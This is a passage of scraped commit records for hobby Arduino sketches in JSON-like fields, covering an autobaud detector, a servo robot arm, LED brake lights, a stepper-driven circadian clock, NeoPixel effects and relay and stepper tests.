Timer for schedule tasks (see https:\/\/github.com\/JChristensen\/Timer)\n\n\/\/ library\n#include \"bitlash.h\"\n#include \"Timer.h\"\n\n\/\/ const\n\/\/ pin 2 = interrupt 1 on UNO board\nconst byte SERIAL_IN_PIN = 2;\nconst byte SERIAL_IN_INT = 0;\n\n\/\/ vars\nword times_buffer[60];\nbyte level;\nvolatile word isr_times_buffer[60];\nbyte isr_index_buffer;\nword start_bit;\nword max_step, min_step;\nbyte max_index, min_index;\nunsigned long baud;\nTimer t;\n\n\/\/ ISR call when edges rising\/falling occurs on SERIAL_IN_PIN\nvoid isr_serial_change() {\n \/\/ vars\n word time;\n \/\/ check timer1 overflow flag\n if (TIFR1 & 0x01) {\n \/\/ reset overflow flag and timer\n TIFR1 = TIFR1 | 0x01;\n \/\/ on overflow time is 0xFFFF\n time = 0xFFFF;\n } else {\n \/\/ save time between two edges, reset timer\n time = TCNT1;\n }\n \/\/ reset timer\n TCNT1 = 0;\n \/\/ update slots array\n if (isr_index_buffer > 59)\n isr_index_buffer = 0;\n isr_times_buffer[isr_index_buffer++] = time;\n}\n\nvoid update_time_buffer(void) {\n \/\/ copy ISR buffer to times array (avoid long ISRs stop)\n cli();\n for (byte i = 0; i < 60; i++) {\n times_buffer[i] = isr_times_buffer[i];\n }\n sei();\n\n \/\/ search minimal\/maximal time step\n max_step = 0;\n min_step = 0xFFFF;\n start_bit = 0;\n level = 0;\n\n for (byte i = 0; i < 60; i++) {\n \/\/ skip special values\n if ((times_buffer[i] != 0) and (times_buffer[i] != 0xFFFF)) {\n \/\/ search max step\n if (times_buffer[i] > max_step) {\n max_step = times_buffer[i];\n max_index = i;\n } \n \/\/ search min step\n if (times_buffer[i] < min_step) {\n min_step = times_buffer[i];\n min_index = i;\n }\n }\n if (times_buffer[i] != 0)\n level++;\n }\n \n \/\/ compute baudrate\n baud = 2 * (1e6 \/ min_step);\n \n \/\/ count start bit\n for (byte i = 0; i < 60; i++) {\n \/\/ count start bit\n if (times_buffer[i] > (min_step * 15)) {\n start_bit++;\n }\n }\n}\n\nnumvar printRAW(void) { \n \/\/ display array\n \/*\n for (byte i = 0; i < 60; i++) {\n Serial.print(times_buffer[i]);\n Serial.print(\" \");\n }\n Serial.println();*\/\n \n \/\/ display min_step time and compute baudrate\n printf_P(PSTR(\"start bit : %5d\\r\\n\"), start_bit);\n printf_P(PSTR(\"min step : %5d us\\r\\n\"), min_step\/2);\n printf_P(PSTR(\"max step : %5d us\\r\\n\"), max_step\/2);\n printf_P(PSTR(\"level : %5d\\r\\n\"), level);\n\n return 0;\n}\n\nbool is_baud(long theoric, long measure) {\n return (measure > (theoric - theoric * 0.1)) and (measure < (theoric + theoric *0.1));\n}\n\nnumvar printBaud(void) {\n printf_P(PSTR(\"baud measured : %6lu bps\\r\\n\"), baud);\n \/\/ convert measured baud to estimated baud\n long estim_baud = 0;\n \n if (is_baud(300, baud))\n estim_baud = 300;\n else if (is_baud(600, baud))\n estim_baud = 600; \n else if (is_baud(1200, baud))\n estim_baud = 1200; \n else if (is_baud(2400, baud))\n estim_baud = 2400; \n else if (is_baud(4800, baud))\n estim_baud = 4800; \n else if (is_baud(9600, baud))\n estim_baud = 9600; \n else if (is_baud(14400, baud))\n estim_baud = 14400; \n else if (is_baud(19200, baud))\n estim_baud = 19200; \n else if (is_baud(28800, baud))\n estim_baud = 28800; \n else if (is_baud(38400, baud))\n estim_baud = 38400; \n else if (is_baud(57600, baud))\n estim_baud = 57600; \n else if (is_baud(115200, baud))\n estim_baud = 115200; \n \n printf_P(PSTR(\"baud estimated : %6lu bps\\r\\n\"), estim_baud);\n return 0; \n}\n\n\/\/ link stdout (printf) to Serial object\n\/\/ create a FILE structure to reference our UART and LCD output function\nstatic FILE uartout = {0};\n\n\/\/ create a output function\n\/\/ This works because Serial.write, although of\n\/\/ type virtual, already exists.\nstatic int uart_putchar (char c, FILE *stream)\n{\n Serial.write(c);\n return 0;\n}\n\nvoid setup(void) {\n \/\/ vars init\n isr_index_buffer = 0;\n \/\/ timer1 init\n \/\/ disable global interrupts\n cli(); \n TCCR1A = 0;\n \/\/ set timer runs at clock speed\/8 (= 2 MHz -> 0.5us\/step)\n TCCR1B = (1 << CS11);\n \/\/ enable global interrupts\n sei();\n \/\/ init bitlash\n initBitlash(57600);\n \/\/ add bitlash function\n addBitlashFunction(\"raw\", (bitlash_function) printRAW);\n addBitlashFunction(\"bd\", (bitlash_function) printBaud);\n \/\/ fill in the UART file descriptor with pointer to writer\n fdev_setup_stream (&uartout, uart_putchar, NULL, _FDEV_SETUP_WRITE);\n \/\/ standard output device STDOUT is uart\n stdout = &uartout ;\n \/\/ launch timer task\n int updateJob = t.every(500, update_time_buffer);\n \/\/ IO init\n pinMode(SERIAL_IN_PIN, INPUT);\n attachInterrupt(SERIAL_IN_INT, isr_serial_change, CHANGE);\n}\n\nvoid loop(void) {\n \/\/ bitlash job\n runBitlash();\n \/\/ timer job\n t.update();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'autobaud_bitlash.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f4844203df109441b0f7e04e9d6a72c0d45369f7","subject":"add Arduino sketch","message":"add Arduino sketch\n","repos":"bambache\/pyRobotArm,bambache\/pyRobotArm","old_file":"arduino_arm\/arduino_arm.ino","new_file":"arduino_arm\/arduino_arm.ino","new_contents":"#include <Servo.h> \n\nconst int NMB = 5;\nServo servos[NMB];\n\/\/Servo myclaw;\n\/\/Servo myelbow;\n\/\/Servo mywrist;\n\/\/ create servo object to control a servo \n\/\/ a maximum of eight servo objects can be created \n\nconst int INC = 5; \/\/ angle increment in degrees\nconst int CONSTRAINTS[NMB][2] = { {20, 120}, {30, 180}, {0, 180}, {0, 180}, {0, 180} };\nconst int PINS[NMB] = {3, 5, 6, 9 ,10};\n\/\/const int CLAW[] = {20, 120};\n\/\/const int ELBOW[] = {30, 180};\n\/\/const int WRIST[] = {0, 180};\n\nvoid printState()\n{\n for (int i=0; i < NMB; ++i) {\n Serial.print(servos[i].read());\n if (i != NMB-1) Serial.print(',');\n }\n \n \/\/Serial.print(myclaw.read()); Serial.print(',');\n \/\/Serial.print(mywrist.read()); Serial.print(',');\n \/\/Serial.print(myelbow.read());\n Serial.println();\n}\n\nvoid allHome()\n{\n \/\/ set servos to mid-point\n for (int i=0; i < NMB; ++i) {\n servos[i].writeMicroseconds(1500);\n }\n \/\/myclaw.writeMicroseconds(1500);\n \/\/mywrist.writeMicroseconds(1500);\n \/\/myelbow.writeMicroseconds(1500);\n}\n\nvoid moveServo(int ac_ServoIdx, int ac_Inc) \n{\n if (ac_ServoIdx < 0 || ac_ServoIdx >= NMB)\n return;\n \/\/int pos = servos[ac_ServoIdx].read();\n int pos = constrain( \/*pos +*\/ ac_Inc, CONSTRAINTS[ac_ServoIdx][0], CONSTRAINTS[ac_ServoIdx][1] );\n servos[ac_ServoIdx].write(pos);\n delay(15);\n}\n\nvoid setup() \n{ \n \/\/open serial\n Serial.begin(9600);\n for (int i=0; i < NMB; ++i) {\n servos[i].attach(PINS[i]);\n }\n \/\/myclaw.attach(3); \/\/ attaches the servo on pin 3 to the servo object \n \/\/mywrist.attach(5); \/\/ attaches the servo on pin 6 to the servo object \n \/\/myelbow.attach(6); \/\/ attaches the servo on pin 6 to the servo object \n\n allHome();\n} \n\nvoid loop() \n{ \n \n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n int values[NMB];\n \/\/ look for the next valid integer in the incoming serial stream:\n for (int i = 0; i < NMB; ++i) {\n values[i] = Serial.parseInt(); \n }\n \n \/\/ look for the newline. That's the end of your\n \/\/ sentence:\n if (Serial.read() == '\\n') {\n \n Serial.print('<');\n for (int i = 0; i < NMB; ++i) {\n Serial.print(values[i]);\n if (i != NMB-1) Serial.print(',');\n \n moveServo(i, values[i]);\n }\n Serial.println('>'); \n \n printState();\n }\n }\n\n\/\/ if (Serial.available() > 0) { \n\/\/ int inByte = Serial.read();\n\/\/ switch (inByte) {\n\/\/ case 'A': \n\/\/ moveServo(myclaw, INC, CLAW);\n\/\/ break;\n\/\/ case 'a': \n\/\/ moveServo(myclaw, -INC, CLAW);\n\/\/ break;\n\/\/ case 'S': \n\/\/ moveServo(mywrist, INC, WRIST);\n\/\/ break;\n\/\/ case 's': \n\/\/ moveServo(mywrist, -INC, WRIST);\n\/\/ break;\n\/\/ case 'D': \n\/\/ moveServo(myelbow, INC, ELBOW);\n\/\/ break;\n\/\/ case 'd': \n\/\/ moveServo(myelbow, -INC, ELBOW);\n\/\/ break;\n\/\/ \n\/\/ default:\n\/\/ allHome();\n\/\/\n\/\/ } \n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_arm\/arduino_arm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"878afe80e394e3159a32116b3f9a9332a7f87080","subject":"Create brakeLights_with_button.ino","message":"Create brakeLights_with_button.ino","repos":"marmilicious\/FastLED_examples","old_file":"brakeLights_with_button.ino","new_file":"brakeLights_with_button.ino","new_contents":"\/\/***************************************************************\n\/\/ Brake lights triggerd by a button example.\n\/\/\n\/\/ Open the serial monitor to see some feedback as the button is\n\/\/ pressed, held, and released.\n\/\/\n\/\/ This is the hardware debounced button wiring setup I use:\n\/\/ http:\/\/i.imgur.com\/hOgQwjX.jpg\n\/\/ It does not include the capacitor typically included in a\n\/\/ debounce setup, but this has always worked fine for me.\n\/\/\n\/\/ Marc Miller, July 2017\n\/\/***************************************************************\n\n\n\/\/---------------------------------------------------------------\n\/\/ This sketch uses JChristensen's Button Library from:\n\/\/ https:\/\/github.com\/JChristensen\/Button\n\/\/\n#include \"Button.h\" \/\/ Include the Button library\n\n\/\/ Set the digital pin for the debounced pushbutton, and declare the button\nconst uint8_t brakeButtonPin = 4;\nButton brakeButton(brakeButtonPin, true, true, 50);\n\n\n\/\/---------------------------------------------------------------\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 8\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 255\n\nuint8_t BrakeStatus = 0; \/\/ Status of brake lights. [0=Off, 1=Activated, 2=On]\n\nCHSV black (0,0,0); \/\/ black\nCHSV brakeRed (0,255,255); \/\/ red full brightness\nCHSV brakeDimRed (0,255,32); \/\/ dim red\nCHSV accent (185,120,70); \/\/ alternate accent color\n\n\/\/ setup pixel groups\nbyte center[] = {3,4}; \/\/ center ring\nbyte first[] = {2,3,4,5}; \/\/ first ring\nbyte second[] = {1,2,5,6}; \/\/ second ring\nbyte third[] = {0,1,6,7}; \/\/ third ring\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ short delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n readbutton(); \/\/ check the button\n\n if (BrakeStatus == 0) { brakeOff(); }\n if (BrakeStatus == 1) { brakeActivated(); }\n if (BrakeStatus == 2) { brakeOn(); }\n FastLED.show();\n\n}\/\/end_main_loop\n\n\n\n\n\/\/---------------------------------------------------------------\n\/\/ Functions\n\n\/\/---------------------------------------------------------------\n\/\/Check the button and set the appropriate flag\nvoid readbutton() {\n brakeButton.read(); \/\/ check the state of the brake button\n\n if(brakeButton.isPressed()) {\n BrakeStatus = 2;\n EVERY_N_MILLISECONDS(250){\n Serial.print(BrakeStatus); Serial.println(\" Brake is On...\");\n }\n } else {\n BrakeStatus = 0;\n EVERY_N_MILLISECONDS(500){\n Serial.print(BrakeStatus); Serial.println(\" Brake Off\");\n }\n }\n\n if(brakeButton.wasPressed()) {\n BrakeStatus = 1;\n Serial.print(BrakeStatus); Serial.println(\" Running brake activated sequence.\");\n }\n\n}\/\/end_readbutton\n\n\n\/\/---------------------------------------------------------------\n\/\/ Brake lights activated sequence\nvoid brakeActivated(){\n\n for (uint8_t i=0; i<(sizeof(third)\/sizeof((third)[0])); i++) {\n leds[third[i]] = black;\n }\n for (uint8_t i=0; i<(sizeof(center)\/sizeof((center)[0])); i++) {\n leds[center[i]] = brakeRed;\n }\n FastLED.show();\n delay(200);\n\n\n for (uint8_t i=0; i<(sizeof(first)\/sizeof((first)[0])); i++) {\n leds[first[i]] = brakeRed;\n }\n FastLED.show();\n delay(200);\n\n\n for (uint8_t i=0; i<(sizeof(first)\/sizeof((first)[0])); i++) {\n leds[first[i]] = accent;\n }\n for (uint8_t i=0; i<(sizeof(second)\/sizeof((second)[0])); i++) {\n leds[second[i]] = brakeRed;\n }\n FastLED.show();\n delay(200);\n\n\n for (uint8_t i=0; i<(sizeof(first)\/sizeof((first)[0])); i++) {\n leds[first[i]] = black;\n }\n for (uint8_t i=0; i<(sizeof(second)\/sizeof((second)[0])); i++) {\n leds[second[i]] = accent;\n }\n for (uint8_t i=0; i<(sizeof(third)\/sizeof((third)[0])); i++) {\n leds[third[i]] = brakeRed;\n }\n FastLED.show();\n delay(200);\n\n}\/\/end_brakeLightsOn\n\n\n\/\/---------------------------------------------------------------\n\/\/ Brake lights On\nvoid brakeOn(){\n fill_solid(leds,NUM_LEDS,CRGB::Black);\n for (uint8_t i=0; i<(sizeof(third)\/sizeof((third)[0])); i++) {\n leds[third[i]] = brakeRed;\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/ Brake lights Off\nvoid brakeOff(){\n fill_solid(leds,NUM_LEDS,CRGB::Black);\n for (uint8_t i=0; i<(sizeof(third)\/sizeof((third)[0])); i++) {\n leds[third[i]] = brakeDimRed; \/\/ use dim red\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'brakeLights_with_button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7137de2f5a093d81b913b46797a019ac39960d4e","subject":"Create blink.ino","message":"Create blink.ino","repos":"rlynch3456\/Arduino","old_file":"blink\/blink.ino","new_file":"blink\/blink.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(13, HIGH);\n delay(1000);\n digitalWrite(13, LOW);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5d115eeca8cd40e272eb25856a704f86bb8ba754","subject":"Initial commit","message":"Initial commit\n","repos":"Anais-moisy\/arduino-circadian-clock","old_file":"clock\/clock.ino","new_file":"clock\/clock.ino","new_contents":"\/*************************************************************\n\nCIRCADIAN CLOCK project by Anais Moisy\n\nArduino Yun\nStepper motor\nMotor shield\nNeoPixel Ring\n\nDemo & Details @\nhttps:\/\/player.vimeo.com\/video\/127464892\nhttp:\/\/anaismoisy.com\/essay-cardican-clock\/\n\n*************************************************************\/\n\nint delaylegnth_speed = 50; \/\/speed to go to the correct 'time' when it is launched\nunsigned long delay_day1 = 5; \/\/I guess I will need only one delay and change it dynamicaly (see email to get how it is calculated)\nunsigned long delay_day2 = 5;\nunsigned long delay_night = 5;\nint i=0;\nint steps_day1 = 206; \/\/tricks to get a full 360 degree (I don't know why it is not doing it in 200 steps)\nint steps_night = 406;\nint steps_day2 = 606;\nint steps_current_time = 53; \/\/number of steps to go to the correct 'time' when it is launched (see email to get how it is calculated)\nunsigned long start_time;\n\n\/\/for the LEDs\n#include <Wire.h>\n#include <Adafruit_NeoPixel.h> \n#define NEOPIN 6 \/\/ define pins\n#define BRIGHTNESS 64 \/\/ set max brightness \nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, NEOPIN, NEO_GRB + NEO_KHZ800); \/\/ strip object\n\n\n\n\n\n\nvoid setup() {\n \n \/\/establish motor direction toggle pins\n pinMode(12, OUTPUT); \/\/CH A -- HIGH = forwards and LOW = backwards???\n pinMode(13, OUTPUT); \/\/CH B -- HIGH = forwards and LOW = backwards???\n \n \/\/establish motor brake pins\n pinMode(9, OUTPUT); \/\/brake (disable) CH A\n pinMode(8, OUTPUT); \/\/brake (disable) CH B \n \n Serial.begin(9600);\n start_time = millis();\n \n Serial.println(\"Setup complete\");\n \n \/\/setup LEDs\n Wire.begin(); \t\/\/ Begin I2C\n pinMode(NEOPIN, OUTPUT);\n strip.begin();\n strip.setBrightness(BRIGHTNESS); \/\/ set brightness\n delay(500);\n colorWipe(strip.Color(0, 0, 0), 1); \/\/ Red\n delay(500);\n \n}\n\nvoid loop(){\n \n \/\/make needle turn fast to the right time \n while(i < steps_current_time){\n \n step1(delaylegnth_speed);\n step2(delaylegnth_speed);\n step3(delaylegnth_speed);\n step4(delaylegnth_speed);\n }\n \n Serial.println(\"Time was initialized\");\n Serial.println(\"I is: \" + String(i));\n \n \n start_time = millis();\n Serial.println(\"HEEEERREEE startime: \");\n Serial.println(String(start_time));\n Serial.println(String(millis()));\n \n \/\/set the new step limit for day 1\n steps_current_time = steps_day1;\n \n \/\/make needle turn right speed until sunset day1\n while(i < steps_day1){\n \n step1(1);\n waitTime(delay_day1);\n \n step2(1);\n waitTime(delay_day1);\n \n step3(1);\n waitTime(delay_day1);\n \n step4(1);\n waitTime(delay_day1);\n }\n \n Serial.println(\"I is: \" + String(i));\n Serial.println(\"Day 1 is over!\");\n steps_current_time = steps_night;\n \n if (i==steps_day1){\n delay(5);\n colorWipe(strip.Color(255, 255, 255), 1); \/\/ Red\n delay(5);\n }\n \n \/\/make needle turn right speed until sunrise day2\n while(i < steps_night){\n \n step1(1);\n waitTime(delay_night);\n \n step2(1);\n waitTime(delay_night);\n \n step3(1);\n waitTime(delay_night);\n \n step4(1);\n waitTime(delay_night);\n }\n \n if (i==steps_night){\n delay(5);\n colorWipe(strip.Color(0, 0, 0), 1); \/\/ Red\n delay(5);\n }\n \n \/\/set the new step limit for day 2\n Serial.println(\"I is: \" + String(i));\n Serial.println(\"Night 1 is over!\");\n steps_current_time = steps_day2;\n \n \/\/make needle turn right speed until sunset day2\n while(i < steps_day2){\n \n step1(1);\n waitTime(delay_day2);\n \n step2(1);\n waitTime(delay_day2);\n \n step3(1);\n waitTime(delay_day2);\n \n step4(1);\n waitTime(delay_day2);\n }\n \n Serial.println(\"I is: \" + String(i));\n Serial.println(\"Day 2 is over!\");\n \n}\n\n\n\/\/delay between steps for day1\nboolean waitTime(unsigned long time)\n{\n \n Serial.println(\"time day one is being called:\");\n Serial.println(start_time);\n Serial.println(\"Starttime + delay_day_1 is:\");\n Serial.println(start_time + delay_day1);\n while ((start_time + time) > millis())\n {\n delay(5);\n }\n \n Serial.println(\"Setting new Starttime to now:\");\n Serial.println(millis());\n start_time = millis();\n return true;\n}\n\n\n \nvoid step1(int delayMilliseconds)\n{\n if (i < steps_current_time)\n {\n digitalWrite(9, LOW); \/\/ENABLE CH A\n digitalWrite(8, HIGH); \/\/DISABLE CH B\n \n digitalWrite(12, HIGH); \/\/Sets direction of CH A\n analogWrite(3, 255); \/\/Moves CH A\n Serial.println(\"step 1\");\n Serial.println(\"delay is: \" + String(delayMilliseconds));\n delay(delayMilliseconds);\n i++;\n } \n}\n\nvoid step2(int delayMilliseconds)\n{\n if (i < steps_current_time)\n {\n digitalWrite(9, HIGH); \/\/DISABLE CH A\n digitalWrite(8, LOW); \/\/ENABLE CH B\n \n digitalWrite(13, LOW); \/\/Sets direction of CH B\n analogWrite(11, 255); \/\/Moves CH B\n Serial.println(\"step 2\");\n Serial.println(\"delay is: \" + String(delayMilliseconds));\n delay(delayMilliseconds);\n i++;\n }\n}\n\nvoid step3(int delayMilliseconds)\n{\n if (i < steps_current_time)\n {\n digitalWrite(9, LOW); \/\/ENABLE CH A\n digitalWrite(8, HIGH); \/\/DISABLE CH B\n \n digitalWrite(12, LOW); \/\/Sets direction of CH A\n analogWrite(3, 255); \/\/Moves CH A\n Serial.println(\"step 3\");\n Serial.println(\"delay is: \" + String(delayMilliseconds));\n delay(delayMilliseconds);\n i++;\n }\n}\n\nvoid step4(int delayMilliseconds)\n{\n if (i < steps_current_time)\n {\n digitalWrite(9, HIGH); \/\/DISABLE CH A\n digitalWrite(8, LOW); \/\/ENABLE CH B\n \n digitalWrite(13, HIGH); \/\/Sets direction of CH B\n analogWrite(11, 255); \/\/Moves CH B\n Serial.println(\"step 4\");\n Serial.println(\"delay is: \" + String(delayMilliseconds));\n delay(delayMilliseconds);\n i++;\n }\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n\tstrip.setPixelColor(i, c);\n\tstrip.show();\n\tdelay(wait);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'clock\/clock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad7b00a064ddb5f89f003ed1cdffef7cd8cb4581","subject":"changed line to arrow","message":"changed line to arrow\n","repos":"bojdell\/lodestar,bojdell\/lodestar,bojdell\/lodestar","old_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino","new_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller' did not match any file(s) known to git\nerror: pathspec 'Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30aac96bc74845f34efcc208dc88a57e839b2a37","subject":"adding arduino sketch code","message":"adding arduino sketch code\n","repos":"NodeBotsMx\/SerialPortExamples","old_file":"arduino\/StripLEDNeoPixel.ino","new_file":"arduino\/StripLEDNeoPixel.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n\/\/ Download library from https:\/\/github.com\/adafruit\/Adafruit_NeoPixel\n\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nint mode = 0;\nint delayTime = 10;\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(14400);\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n \n if(Serial.available()){\n if(Serial.peek() == 'm'){\n Serial.read();\n mode = Serial.parseInt();\n }else if(Serial.peek() == 'v'){\n Serial.read();\n delayTime = Serial.parseInt();\n }\n \n while(Serial.available() > 0)\n Serial.read(); \n }\n \n Serial.println(mode);\n \n switch( mode ){\n case 1:\n colorWipe(strip.Color(255, 0, 0), delayTime); \/\/ Red\n break;\n case 2:\n colorWipe(strip.Color(0, 255, 0), delayTime); \/\/ Green\n break;\n case 3:\n colorWipe(strip.Color(0, 0, 255), delayTime); \/\/ Blue\n break;\n case 4:\n theaterChase(strip.Color(127, 127, 127), delayTime); \/\/ White\n break;\n case 5:\n theaterChase(strip.Color(127, 0, 0), delayTime); \/\/ Red\n break;\n case 6:\n theaterChase(strip.Color( 0, 0, 127), delayTime); \/\/ Blue\n break;\n case 7:\n rainbow(20);\n break;\n case 8:\n rainbowCycle(20);\n break;\n case 9:\n theaterChaseRainbow( delayTime );\n break;\n\n \n }\n \n \/*\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n \/\/ Send a theater pixel chase in...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip.Color( 0, 0, 127), 50); \/\/ Blue\n\n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n *\/\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.show();\n \n delay(wait);\n \n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n \n delay(wait);\n \n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/StripLEDNeoPixel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02a99b6278bc84609a48341471559e8b775a1579","subject":"Initial Commit","message":"Initial Commit\n","repos":"amitabhkant\/autorium","old_file":"autorium.ino","new_file":"autorium.ino","new_contents":"\n\/\/ Define all the relay ports\n#define relayLight 31\n#define relayExtractorMotor 32\n#define relayFilter 33\n#define relayHeater 34\n \n\nvoid setup() {\n \/\/ Initialze relay pins\n pinMode(relayLight, OUTPUT);\n pinMode(relayExtractorMotor, OUTPUT);\n pinMode(relayFilter, OUTPUT);\n pinMode(relayHeater, OUTPUT);\n\n}\n\nvoid loop() {\n \n \/\/ Test Code for relay\n\n for(int iCounter=31;iCounter < 39;iCounter++){\n \n digitalWrite(iCounter, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(iCounter, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(400); \/\/ wait for a second\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'autorium.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"731e8c7734a90816bf163d0b6baffcedb51aca2c","subject":"first version of arduino file","message":"first version of arduino file\n","repos":"mck-dajiao\/709No2","old_file":"driver_mega.ino","new_file":"driver_mega.ino","new_contents":"#include <DStepper.h>\n\nconst int stepPer = 200;\n\nDStepper stepper1(stepPer, 4, 5, 6, 7);\nDStepper stepper2(stepPer, 8, 9, 10, 11);\n\nint begin;\nchar ins[2];\nint i;\nvoid goAhead(){\n \n for(i = 0; i < 50; i++){\n stepper1.step(4);\n\tstepper2.step(4);\n }\n\t\n\n\tSerial.println(\"Go ahead\");\n}\n\nvoid goBack(){\n\n\tstepper1.step(-stepPer);\n\tstepper2.step(-stepPer);\n\tSerial.println(\"Go Back\");\n}\n\nvoid turnLeft(){\n\n\tstepper1.step(-stepPer);\n\tstepper2.step(stepPer);\n\tSerial.println(\"Turn Left\");\n\n}\n\nvoid turnRight(){\n\n\tstepper1.step(stepPer);\n\tstepper2.step(-stepPer);\n\tSerial.println(\"Turn Right\");\n}\n\nvoid stepControl(char inst){\n\n\tswitch(inst){\n\t\t\/\/ go ahead \n\t\tcase '1': goAhead();\n\t\t\tbreak;\n\t\t\/\/ go back \n\t\tcase '2': 